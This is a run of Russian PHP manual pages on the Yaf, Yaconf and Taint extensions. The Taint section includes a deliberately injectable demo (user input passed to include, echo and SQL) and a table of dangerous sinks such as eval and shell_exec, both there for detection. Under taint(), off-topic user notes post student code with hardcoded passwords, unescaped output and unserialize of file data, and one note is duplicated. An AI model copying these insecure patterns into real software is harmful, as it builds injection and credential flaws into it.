Назначение offsetUnset

  • « Yaf_Session::offsetSet
  • Yaf_Session::rewind »
  • PHP Manual
  • Yaf_Session
  • Назначение offsetUnset

Yaf_Session::offsetUnset

(Yaf >=1.0.0)

Yaf_Session::offsetUnset — Назначение offsetUnset

Описание

public Yaf_Session::offsetUnset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение rewind

  • « Yaf_Session::offsetUnset
  • Yaf_Session::__set »
  • PHP Manual
  • Yaf_Session
  • Назначение rewind

Yaf_Session::rewind

(Yaf >=1.0.0)

Yaf_Session::rewind — Назначение rewind

Описание

public Yaf_Session::rewind(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __set

  • « Yaf_Session::rewind
  • Yaf_Session::start »
  • PHP Manual
  • Yaf_Session
  • Назначение __set

Yaf_Session::__set

(Yaf >=1.0.0)

Yaf_Session::__set — Назначение __set

Описание

public Yaf_Session::__set(string $name, string $value): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение start

  • « Yaf_Session::__set
  • Yaf_Session::__unset »
  • PHP Manual
  • Yaf_Session
  • Назначение start

Yaf_Session::start

(Yaf >=1.0.0)

Yaf_Session::start — Назначение start

Описание

public Yaf_Session::start(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __unset

  • « Yaf_Session::start
  • Yaf_Session::valid »
  • PHP Manual
  • Yaf_Session
  • Назначение __unset

Yaf_Session::__unset

(Yaf >=1.0.0)

Yaf_Session::__unset — Назначение __unset

Описание

public Yaf_Session::__unset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение valid

  • « Yaf_Session::__unset
  • Yaf_Exception »
  • PHP Manual
  • Yaf_Session
  • Назначение valid

Yaf_Session::valid

(Yaf >=1.0.0)

Yaf_Session::valid — Назначение valid

Описание

public Yaf_Session::valid(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public __construct()
public getPrevious(): void
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Содержание

  • Yaf_Exception::__construct — Конструктор класса Yaf_Exception
  • Yaf_Exception::getPrevious — Получить предыдущее исключение

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Exception

  • « Yaf_Exception
  • Yaf_Exception::getPrevious »
  • PHP Manual
  • Yaf_Exception
  • Конструктор класса Yaf_Exception

Yaf_Exception::__construct

(Yaf >=1.0.0)

Yaf_Exception::__construct — Конструктор класса Yaf_Exception

Описание

public Yaf_Exception::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить предыдущее исключение

  • « Yaf_Exception::__construct
  • Yaf_Exception_TypeError »
  • PHP Manual
  • Yaf_Exception
  • Получить предыдущее исключение

Yaf_Exception::getPrevious

(Yaf >=1.0.0)

Yaf_Exception::getPrevious — Получить предыдущее исключение

Описание

public Yaf_Exception::getPrevious(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_TypeError

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_TypeError extends Yaf_Exception {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_StartupError

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_StartupError extends Yaf_Exception {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_DispatchFailed

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_DispatchFailed extends Yaf_Exception {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_RouterFailed

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_RouterFailed extends Yaf_Exception {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_LoadFailed

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_LoadFailed extends Yaf_Exception {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_LoadFailed_Module

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_LoadFailed_Module extends Yaf_Exception_LoadFailed {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_LoadFailed_Controller

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_LoadFailed_Controller extends Yaf_Exception_LoadFailed {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_LoadFailed_Action

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_LoadFailed_Action extends Yaf_Exception_LoadFailed {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Exception_LoadFailed_View

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Exception_LoadFailed_View extends Yaf_Exception_LoadFailed {
/* Свойства */
/* Методы */
/* Наследуемые методы */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaconf

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Yaconf — Класс Yaconf
    • Yaconf::get — Извлечь элемент
    • Yaconf::has — Определить, существует ли элемент

User Contributed Notes

There are no user contributed notes for this page.


Введение

Ещё один контейнер конфигураций (Yet Another Configurations Container, Yaconf) - контейнер конфигураций, который разбирает INI-файлы и сохраняет результат в PHP при его запуске, результат хранится на протяжении всего жизненного цикла PHP.

Yaconf сохраняет все конфигурации в качестве интернированной строки или неизменяемого массив, что означает, что они не могут быть подсчитаны по ссылке, таким образом, при извлечении конфигураций из yaconf, его можно рассматривать как zero-copy очень быстро.

Yaconf поддерживает разделы и наследование разделов в INI-файлах. Если PHP собран без поддержки ZTS, Yaconf также поддерживает автоматическую перезагрузку после изменений INI-файлов.

Yaconf требует PHP 7.0 или выше.

Пример #1 Пример INI

;простая пара ключ-значение
key=val
;хеш
hash.a=val
;массив
arr.0=val
;или так
arr[]=val
;использование констант PHP
version=PHP_VERSION
;использование переменных среды
env=${PATH}

Пример #2 Пример INI с разделами

[SectionA]
key=val
hash.a=val

;SectionB наследуется от SectionA
[SectionB:SectionA]
;переопределение key из раздела SectionA
key=new_val

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы Yaconf требуется PHP 7.0 и выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/yaconf.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Yaconf
Имя | По умолчанию | Место изменения | Список изменений
yaconf.check_delay | 300 | PHP_INI_SYSTEM |
yaconf.directory | /tmp/conf/ | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

yaconf.check_delay int

Интервал времени, в течение которого Yaconf будет определять изменение файла ini (по времени изменения директории), если установлен ноль, требуется перезапуск PHP для перезагрузки конфигураций.

yaconf.directory string

Путь к директории, в которой находятся все файлы конфигурации INI.

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaconf

(PECL yaconf >= 1.0.0)

Введение

Yaconf - контейнер конфигураций, он разбирает конфигурационные файлы, хранит результат в PHP при запуске PHP, результат сохраняется на протяжении всего жизненного цикла PHP.

Обзор классов

class Yaconf {
/* Методы */
public static get(string $name, mixed $default_value = NULL): mixed
public static has(string $name): bool
}

Содержание

  • Yaconf::get — Извлечь элемент
  • Yaconf::has — Определить, существует ли элемент

User Contributed Notes

There are no user contributed notes for this page.


Извлечь элемент

  • « Yaconf
  • Yaconf::has »
  • PHP Manual
  • Yaconf
  • Извлечь элемент

Yaconf::get

(PECL yaconf >= 1.0.0)

Yaconf::get — Извлечь элемент

Описание

public static Yaconf::get(string $name, mixed $default_value = NULL): mixed

Список параметров

name

Ключ конфигурации, ключ может быть вида "filename.key" или "filename.sectionName,key".

default_value

Если ключа не существует, Yaconf::get вернёт значение этого параметра.

Возвращаемые значения

Возвращает результат конфигурации (строка или массив), если ключ существует, возвращает default_value, если его нет.

Примеры

Пример #1 Пример INI()

;файл foo.ini, находящийся в директории, заданной yaconf.directory
[SectionA]
;пара ключ-значение
key=val
;хеш
hash.a=val
;массив
arr.0=val
;или так
arr[]=val

;SectionB наследуется от SectionA
[SectionB:SectionA]
;переопределить конфигурацию key из раздела SectionA
key=new_val

Результатом выполнения данного примера будет что-то подобное:

php7 -r 'var_dump(Yaconf::get("foo.SectionA.key"));'
//string(3) "val"

php7 -r 'var_dump(Yaconf::get("foo.SectionB.key"));'
//string(7) "new_val"

php7 -r 'var_dump(Yaconf::get("foo")["SectionA"]["hash"]);'
//array(1)

User Contributed Notes

There are no user contributed notes for this page.


Определить, существует ли элемент

  • « Yaconf::get
  • Taint »
  • PHP Manual
  • Yaconf
  • Определить, существует ли элемент

Yaconf::has

(PECL yaconf >= 1.0.0)

Yaconf::has — Определить, существует ли элемент

Описание

public static Yaconf::has(string $name): bool

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Taint

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Дополнительные подробности
    • Функции и операторы, которые могут распространять сомнительный символ испорченной строки
    • Функции и операторы, которые проверяют испорченные строки
    • Функции, которые не будут обрабатывать испорченную строку
  • Функции Taint
    • is_tainted — Проверяет, испорчена ли строка
    • taint — Испортить строку
    • untaint — Исправить строку

User Contributed Notes

dewi at dewimorgan dot com 17-Nov-2017 04:58
Latest compatibility info is available at the pecl page - https://pecl.php.net/package/taint shows that latest compatibility is 7+, and a windows DLL is available.
ray at rayxis dot com 07-Aug-2015 06:06
According to PECL "pecl/taint requires PHP (version >= 5.2.0, version <= 5.4.99)"


Введение

Taint - модуль, используемый для определения кодов XSS (испорченные или подозрительные строки, tainted strings). Также может использоваться для выявления попыток использования SQL-инъекций, shell-инъекций и т.д.

Если модуль включён, то когда вы передаёте подозрительную строку (из $_GET, $_POST или $_COOKIE) некоторым функциям, будет выдано предупреждение.

Пример #1 Пример использования Taint()

<?php
$a = trim($_GET['a']);

$file_name = '/tmp' . $a;
$output = "Welcome, {$a} !!!";
$var = "output";
$sql = "Select * from " . $a;
$sql .= "ooxx";

echo $output;

print $$var;

include($file_name);

mysql_query($sql);
?>

Результатом выполнения данного примера будет что-то подобное:

Warning: main() [function.echo]: Attempt to echo a string that might be tainted

Warning: main() [function.echo]: Attempt to print a string that might be tainted

Warning: include() [function.include]: File path contains data that might be tainted

Warning: mysql_query() [function.mysql-query]: SQL statement contains data that might be tainted

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/taint.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Taint
Имя | По умолчанию | Место изменения | Список изменений
taint.enable | 0 | PHP_INI_SYSTEM |
taint.error_level | E_WARNING | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

taint.enable int

Включён ли модуль.

taint.error_level int

Тип ошибки, который будет возвращать модуль при обнаружении подозрительной строки.

User Contributed Notes

There are no user contributed notes for this page.


Дополнительные подробности

Содержание

  • Функции и операторы, которые могут распространять сомнительный символ испорченной строки
  • Функции и операторы, которые проверяют испорченные строки
  • Функции, которые не будут обрабатывать испорченную строку

User Contributed Notes

There are no user contributed notes for this page.


Функции и операторы, которые могут распространять сомнительный символ испорченной строки

Функция/Оператор | Мин. версия
= (присваивание) | 0.1.0
. (конкатенация) | 0.1.0
"{$var}" (подстановка переменных) | 0.1.0
.= (присваивание с конкатенацией) | 0.1.0
strval | 0.3.0
explode/split | 0.3.0
implode/join | 0.3.0
sprintf | 0.3.0
vsprintf | 0.3.0
trim | 0.4.0
rtrim | 0.4.0
ltrim | 0.4.0
strstr | 0.5.0
str_pad | 0.5.0
str_replace | 0.5.0
substr | 0.5.0
strtolower | 0.5.0
strtoupper | 0.5.0

User Contributed Notes

There are no user contributed notes for this page.


Функции и операторы, которые проверяют испорченные строки

Функция/Оператор | Мин. версия
Основные выражения
eval | 0.1.0
include/include_once | 0.1.0
require/require_once | 0.1.0
Функции вывода
echo | 0.1.0
print | 0.1.0
printf | 0.1.0
file_put_contents | 0.1.0
Функции файловой системы
fopen | 0.2.0
opendir | 0.2.0
basename | 0.2.0
dirname | 0.2.0
file | 0.2.0
pathinfo | 0.2.0
Соответствующие функции базы данных
mysql_query | 0.2.0
mysqli_query/MySQLi::query | 0.2.0
sqlite_query/SqliteDataBase::query | 0.3.0
sqlite_single_query/SqliteDataBase::singleQuery | 0.3.0
oci_parse | 0.3.0
PDO::query | 0.3.0
PDO::prepare | 0.3.0
SQLite3::query | 2.0.1
SQLite3::prepare | 2.0.1
Соответствующие функции командной строки
system | 0.1.0
exec | 0.1.0
proc_open | 0.1.0
passthru | 0.1.0
shell_exec | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Функции, которые не будут обрабатывать испорченную строку

Функция/Оператор | Мин. версия
addslashes | 0.1.0
addcslashes | 0.1.0
htmlspecialchars | 0.1.0
htmlentities | 0.1.0
escapeshellcmd | 0.1.0
mysql_escape_string | 0.1.0
mysql_real_escape_string | 0.1.0
mysqli_escape_string/MySQLi::escape_string | 0.1.0
mysqli_real_escape_string/MySQLi::real_escape_string | 0.1.0
sqlite_escape_string/SqliteDataBase::escapeString | 0.3.0
PDO::quote | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Функции Taint

Содержание

  • is_tainted — Проверяет, испорчена ли строка
  • taint — Испортить строку
  • untaint — Исправить строку

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, испорчена ли строка

  • « Функции Taint
  • taint »
  • PHP Manual
  • Функции Taint
  • Проверяет, испорчена ли строка

is_tainted

(PECL taint >=0.1.0)

is_tainted — Проверяет, испорчена ли строка

Описание

is_tainted(string $string): bool

Проверяет, является ли строка испорченной

Список параметров

string

Возвращаемые значения

Возвращает true, если строка испорчена или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Испортить строку

  • « is_tainted
  • untaint »
  • PHP Manual
  • Функции Taint
  • Испортить строку

taint

(PECL taint >=0.1.0)

taint — Испортить строку

Описание

taint(string &$string, string ...$strings): bool

Делает строку испорченной строку. Используется в целях отладки.

Список параметров

string

strings

Возвращаемые значения

Возвращает true, если преобразование строки выполнено. Всегда возвращает true, если модуль taint не включён.

User Contributed Notes

else_2do at gmail dot com 07-Mar-2021 09:36
<?php

class nave {
    private $nome;
    private $prezoDiario;
    private $alugado;
    private $nomeImaxe;

    function __construct($nome,$prezoDiario,$nomeImaxe){
        $this->nome=$nome;
        $this->prezoDiario=$prezoDiario;
        $this->alugado="no";
        $this->nomeImaxe=$nomeImaxe;
    }
    function getNome(){
        return $this->nome;
    }
    function getPrezodiario(){
        return $this->prezoDiario;
    }
    function getAlugado(){
        return $this->alugado;
    }
    function getNomeimaxe(){
        return $this->nomeImaxe;
    }
    function alugar(){
        return $this->alugado="si";
    }
    function desalugar(){
        $this->alugado="no";
    }
}

?>
primerito_carlos at gmail dot com 07-Mar-2021 09:26
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <form method="GET" action="opcions.php">
        <p>Usuario</p>
        <input type="text" name="usu"><br>
        <p>Contrasena</p>
        <input type="password" name="con"><br>
        <input type="submit" name="enviar" value="Enviar">
    </form>
</body>
</html>
<?php
@session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
    <title></title>
</head>
<body>
<?php
$usu=$_GET["usu"];
$con=$_GET["con"];
if (($usu=="Xan" && $con=="abc123.") OR ($usu=="Ana" && $con=="abc123.")){
    $SESSION["usu"]=$usu;
    echo "Usuario correcto<br>";
    $conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
    if ($conexion != FALSE) {
        echo "Conexion a BD establecida";

    echo "<form method='GET' action='lista.php'><br>
        <input type='submit' name='completo' value='Listar todos os discos'>
        <input type='submit' name='orden_titulo' value='Listar por titulo'>
        <input type='submit' name='orden_autor' value='Listar por autor'>
        <select name='Autor'>
            <option>Beatles</option>
            <option>Rolling</option>
            <option>xxx</option>
            <input type='submit' name='Enviar'>
        </select>
        </form>";
        if($usu=="Ana"){
            echo "<br>
            <input type='submit'name='engadir' value='Engadir rexistro'>
            <input type='submit'name='editar' value='Editar rexistro'>
            <input type='submit'name='eliminar' value='Eliminar rexistro'>
            </form>";
        }
    }
}else{
    echo "Usuario erroneo";
}
echo "<form method='GET' action='login.php'>
        <input type='submit' name='volver' value='Volver al login'";
?>
</body>
</html>
--------------
<article id="contenedor">
<?php
$conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
if ($conexion) {
    if (isset($_GET['completo'])) {
        $consulta="SELECT * FROM tema";
    }
    elseif (isset($_GET['orden_titulo'])) {
        $consulta="SELECT * FROM tema ORDER BY Titulo";
    }
    elseif (isset($_GET['orden_autor'])) {
    $consulta="SELECT * FROM tema ORDER BY Autor";
    }
    elseif (isset($_GET['Autor'])) {
        if ($_GET['Autor']=="The Beatles") {
            $consulta="SELECT * FROM tema WHERE Autor='The Beatles'";
        }
    }
    $resultado=mysqli_query($conexion,$consulta);
    if ($resultado!=FALSE) {
        while ($fila=mysqli_fetch_array($resultado)) {
            echo "<div class='produto'><img src='imaxes/$fila[Imaxe].jpg'><br>$fila[Titulo]><br>$fila[Autor]<br>$fila[Ano]<br></div>";
        }
    }
    echo "<form method='GET' action='opcions.php'>
        <input type='submit' value='volver'/>";
?>
</article>
}
?>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:32
if (isset($_GET['aluga'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $dias=$_GET['dias'];
               $_SESSION['flota'][$indice]->aluga($dias);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getDiasAlugado() > 1 ){
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." foi alugado durante ".$vehiculo->getDiasAlugado()." dias <br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
            }
        }
    }
    if (isset($_GET['desalugar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $kms=$_GET['kms'];
               $_SESSION['flota'][$indice]->devolveAlugado($kms);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($_GET['mat'])
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." terminou o periodo de alugamento con un total de ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['garda'])) {
        $fich=fopen('flota.txt',"w");
        $XD=serialize($_SESSION['flota']);
        fwrite($fich,$XD);
        fclose($fich);
    }
    if (isset($_GET['ler'])) {
        $fich=fopen('flota.txt',"r");
        $lerarray=fread($fich,filesize('flota.txt'));
        $_SESSION['flota']=unserialize($lerarray);
        foreach ($_SESSION['flota'] as $key => $coche) {
            echo "Matricula: ".$coche->getMatricula()."<br>Modelo: ".$coche->getModelo()."<br>KMS: ".$coche->getKms()." km <br>";
        }
        fclose($fich);

    }
    if (isset($_GET['del'])) {
        unset($_SESSION['flota']);
        session_destroy();
    }
 ?>
</body>
</html>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e sair'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehiculos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e sair'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehiculos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
Anonymous 13-Dec-2020 05:58
The answer of your question is:

<?php
    session_start();
session_destroy();
?>
<meta charset="UTF-8">
<html>
<form method="GET" action="datos.php">
<?php
   if(isset($_GET['usuario'])){
    if(strcmp("ana",$_GET['usuario'])==0){
        if(strcmp("abc123.",$_GET['contrasena'])==0){
        $_SESSION['usuario']=$_GET['usuario'];
        }
        else{
         echo"
            <script>
                alert ('Usuario o contrasena incorrectos');
                window.location='login.php';
            </script>"
        ;}
    }

       if(strcmp("xan",$_GET['usuario'])==0){
           if(strcmp("abc123.",$_GET['contrasena'])==0){
         $_SESSION['usuario']=$_GET['usuario'];
       }
        else{
            echo"
                <script>
                    alert ('Usuario o contrasena incorrectos');
                    window.location='login.php';
                </script>"
        ;}
        }

    }

    if(isset($_SESSION['usuario'])){
        //lo que se muestra na la pagina.
      $conexion=mysqli_connect("localhost","root","","folla14")or die(mysqli_error());

    if($conexion){
        mysqli_set_charset($conexion,"UTF8");
        echo "
            <input type='submit' value='Lista completa' name='listac'>
            "
        ;}
    }
     else{
         echo"
         <script>
        alert ('Usuario o contrasena incorrectos');
        window.location='login.php';
         </script>";
     }

?>


Исправить строку

  • « taint
  • Структуры данных »
  • PHP Manual
  • Функции Taint
  • Исправить строку

untaint

(PECL taint >=0.1.0)

untaint — Исправить строку

Описание

untaint(string &$string, string ...$strings): bool

Исправляет испорченную строку

Список параметров

string

strings

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Структуры данных

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Предопределённые константы
  • Примеры
  • Ds\Collection — Интерфейс Collection
    • Ds\Collection::clear — Удаляет все значения
    • Ds\Collection::copy — Возвращает копию коллекции
    • Ds\Collection::isEmpty — Проверяет, пуста ли коллекция
    • Ds\Collection::toArray — Преобразует коллекцию в массив (array)
  • Ds\Hashable — Интерфейс Hashable
    • Ds\Hashable::equals — Определяет, равен ли текущий экземпляр переданному объекту
    • Ds\Hashable::hash — Возвращает скалярное значение для использования в качестве значения хеша
  • Ds\Sequence — Интерфейс Sequence
    • Ds\Sequence::allocate — Выделение памяти под указанную вместимость
    • Ds\Sequence::apply — Обновление всех значений применением к ним переданной callback-функции
    • Ds\Sequence::capacity — Возвращает текущую вместимость
    • Ds\Sequence::contains — Проверяет, содержатся ли в коллекции заданные значения
    • Ds\Sequence::filter — Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции
    • Ds\Sequence::find — Поиск индекса по значению
    • Ds\Sequence::first — Возвращает первый элемент коллекции
    • Ds\Sequence::get — Возвращает значение по индексу
    • Ds\Sequence::insert — Вставляет значения по указанному индексу
    • Ds\Sequence::join — Склеивает все значения в строку
    • Ds\Sequence::last — Возвращает последнее значение коллекции
    • Ds\Sequence::map — Возвращает результат применения callback-функции ко всем значениям коллекции
